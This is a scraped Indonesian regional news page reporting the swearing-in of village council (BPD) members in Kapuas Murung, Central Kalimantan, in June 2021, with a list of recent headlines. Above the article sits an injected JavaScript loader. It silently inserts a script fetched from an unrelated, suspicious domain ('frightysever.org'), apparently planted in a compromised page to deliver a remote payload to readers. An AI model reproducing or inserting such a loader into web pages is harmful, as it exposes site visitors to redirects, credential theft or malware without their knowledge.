(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Anggota BPD Delapan Desa di Kecamatan Kapuas Murung Dilantik


KANALKALIMANTAN.COM, KUALA KAPUAS – Bupati Kapuas Ir Ben Brahim S Bahat MM MT melantik anggota Badan Permusyawaratan Desa (BPD) dari delapan desa di Kecamatan Kapuas Murung.

Pelantikan dan pengambilan sumpah janji bagi anggota BPD berlangsung di halaman kantor Camat Kapuas Murung, Rabu (16/6/2021).

Mereka yang dilantik adalah anggota BPD Desa Palangkau Baru, Desa Manggala Permai, Desa Bumi Rahayu, Desa Palingkau Sejahtera, Desa Bina Sejahtera, Desa Suka Reja, Desa Bina Karya dan Desa Bina Mekar.

Bupati Kapuas mengharapkan kepada para anggota BPD mampu bekerja sama dan berkoordinasi dengan kepala desa demi tercapainya pemerintahan desa yang baik demi kesejahteraan masyarakat.

 

Pelantikan dan pengambilan sumpah janji anggota BPD berlangsung di halaman kantor Camat Kapuas Murung, Rabu (16/6/2021). Foto: ags

“Saya minta untuk selalu bermusyawarah bersama kepala desa dan jajaran pemerintah desa dalam menentukan kebijakan-kebijakan,” pesan Bupati Kapuas.

Bupati Kapuas menegaskan, agar jajaran pemerintah desa selalu mengutamakan kepentingan masyarakat dalam memberikan pelayanan.

“Sebagi pelayan masyarakat, mari kita berjuang secara pribadi dan kelembagaan pemerintah desa, agar mampu melayani dan memenuhi kepentingan masyarakat,” ucap Bupati Kapuas.

Mantan Kadis PUPR Provinsi Kalteng ini mengingatkan masyarakat untuk selalu disiplin dalam protokol kesehatan. Ia meminta kepada pihak pemerintah di tingkat kecamatan memaksimalkan program vaksinasi bagi para lansia.

Sementara itu, Kepala Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Kapuas, Yanmarto mengatakan, anggota BPD yang dilantik terpilih berdasarkan hasil pemilihan anggota BPD sebanyak 40 orang, 27 diantaranya laki-laki dan 13 perempuan.

“Tentunya, sebagai lembaga pemerintahan desa, BPD mempunyai tugas salah satunya yakni menggali, menampung, mengelola dan menyalurkan aspirasi masyarakat,” katanya.

Kegiatan pelantikan ini sendiri dilaksanakan dalam rangka memenuhi ketentuan perundang undangan serta mewujudkan tata kelola pemerintahan desa yang baik dan bertanggung jawab. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk

 

 


Al Ghifari

Recent Posts

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

45 menit ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

49 menit ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

2 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

3 jam ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

17 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

19 jam ago

This website uses cookies.